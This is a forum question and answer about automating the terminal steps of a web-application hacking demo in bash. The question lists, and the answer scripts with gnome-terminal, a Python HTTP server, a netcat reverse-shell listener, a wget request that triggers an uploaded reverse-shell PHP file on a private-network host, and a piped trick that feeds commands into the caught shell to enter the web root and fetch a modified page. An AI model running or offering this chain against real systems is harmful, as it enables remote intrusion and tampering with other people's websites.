Reece Gounden Reece Gounden - 1 year ago 76
Linux Question

How to automate a bash script

Good day good people!

I am trying to write a script that will allow me to show off a PoC for hacking a web application, currently it requires me to open several different processes and terminals and execute commands in a specific terminal then switch back to other ones.

I want to do the following:

  • terminal 0:

  • start http server
    > python -m SimpleHTTPServer 8081

  • start terminal 1:

  • start shell listener
    > nc -v -n -l -p 8082

  • start terminal 2:

  • start reverse shell
    > wget "172.16.0.XXX/upload/16/rs/rs.php"

  • terminal 1 (inside nc):

  • browse to directory
    > cd var/www/users/

  • download modified page
    > wget ""

  • star terminal 3:

  • Open firefox and browse to

& python -m SimpleHTTPServer 8081

& terminal -e nc -v -n -l -p 8082

wget ""

cd var/www/users #Problem is here, how do i switch back to the nc terminal?

wget ""

What confuses me is switching between the specific terminals when i need to. Would it make sense to just write a macro for this instead or is is possible to do this? Any help would be appreciated!

Answer Source

what about a script that launch various terminal?

gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget ""'
gnome-terminal -e 'firefox ""'

for "nc problem" i suggest a simple trick:

(sleep 3 ; echo cd var/www/users/ ; echo wget "") | nc -v -n -l -p 8082
Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download